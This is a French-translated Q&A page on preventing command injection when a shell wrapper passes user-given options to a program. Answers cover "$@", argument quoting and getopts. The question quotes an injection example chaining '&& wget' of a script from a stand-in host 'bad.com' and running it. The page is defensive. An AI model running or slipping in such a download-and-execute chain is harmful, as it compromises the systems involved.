Comment empêcher l'injection de commande via les options de commande?

13

J'ai une application wrapper où je dois laisser l'utilisateur spécifier des options personnalisées à passer à un simulateur. Cependant, je veux m'assurer que l'utilisateur n'injecte pas d'autres commandes via les options utilisateur. Quelle est la meilleure façon d'y parvenir?

Par exemple.

  • L'utilisateur fournit: -a -b
  • L'application s'exécute: mysim --preset_opt -a -b

Cependant, je ne veux pas que cela se produise:

  • L'utilisateur fournit: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • L'application s'exécute: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Actuellement, je pense que je pourrais simplement entourer chaque option fournie par l'utilisateur de guillemets simples 'et supprimer tous les guillemets simples fournis par l'utilisateur, de sorte que la commande dans le dernier exemple se révèle être inoffensive:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Remarque: La mysimcommande s'exécute dans le cadre d'un script shell dans un conteneur docker / lxc. J'utilise Ubuntu.

Victor Lyuboslavsky
la source
Utilisez-vous evalpour exécuter l'application? Sinon, l'injection ne devrait pas avoir lieu:x="&& echo Doomed" ; echo $x
choroba
1
Non, je n'utilise pas eval. J'appelle l'exécutable mysimdans un script shell. Je vois l'injection se produire si je copie simplement la chaîne d'options fournie par l'utilisateur et la colle à la fin de la mysimcommande.
Victor Lyuboslavsky
Est-ce que l'application wrapper copie et colle la chaîne d'options?
choroba
Oui, les options utilisateur se présentent sous la forme d'une seule chaîne, comme -a -b. Je cherche donc à m'assurer que des commandes supplémentaires ne sont pas injectées dans cette chaîne.
Victor Lyuboslavsky
1
pouvez-vous mettre sur liste blanche? autoriser uniquement les personnages [a-zA-Z0-9 _-]ressemble à un choix assez défensif.
Ulrich Schwarz

Réponses:

6

Si vous avez le contrôle sur le programme wrapper, assurez-vous qu'il n'invoque pas de sous-shell. Au fond, une instruction pour exécuter un programme se compose du chemin complet (absolu ou relatif au répertoire courant) vers l'exécutable, et d'une liste de chaînes à passer en arguments. La recherche PATH, les espaces séparant les arguments, les guillemets et les opérateurs de contrôle sont tous fournis par le shell. Pas de coquille, pas de douleur.

Par exemple, avec un wrapper Perl, utilisez la forme liste de execou system. Dans de nombreuses langues, appelez l'une des fonctions execou execXXX(ou unix.execou quel que soit son nom) plutôt que system, ou os.spawnavec shell=False, ou quoi que cela prenne.

Si le wrapper est un script shell, utilisez "$@"pour transmettre les arguments, par exemple

#!/bin/sh
mysim -preset-opt "$@"

Si vous n'avez pas le choix et que le programme wrapper invoque un shell, vous devrez citer les arguments avant de les passer au shell. Le moyen le plus simple de citer des arguments est le suivant:

  1. Dans chaque argument, remplacez chaque occurrence de '(guillemet simple) par la chaîne de quatre caractères '\''. (par exemple don'tdevient don'\''t)
  2. Ajoutez 'au début de chaque argument et également à la fin de chaque argument. (par exemple de don't, don'\''tdevient 'don'\''t')
  3. Concatène les résultats avec un espace entre les deux.

Si vous devez le faire dans un wrapper shell, voici un moyen.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Malheureusement, la ${VAR//PATTERN/REPLACEMENT}construction de bash , qui devrait être utile ici, nécessite des citations originales, et je ne pense pas que vous puissiez obtenir '\''le texte de remplacement.)

Gilles 'SO- arrête d'être méchant'
la source
1

Vous pouvez utiliser l' ${VAR//PATTERN/REPLACEMENT}idiome de Bash pour transformer une citation unique 'en la '\''mettant d'abord '\''dans une variable (comme étape intermédiaire), puis en développant cette variable comme REPLACEMENTélément dans l'idiome Bash mentionné.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
la source
0

Vous pouvez utiliser getoptsdans bashlequel peut analyser les arguments pour vous, par exemple:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Kenorb
la source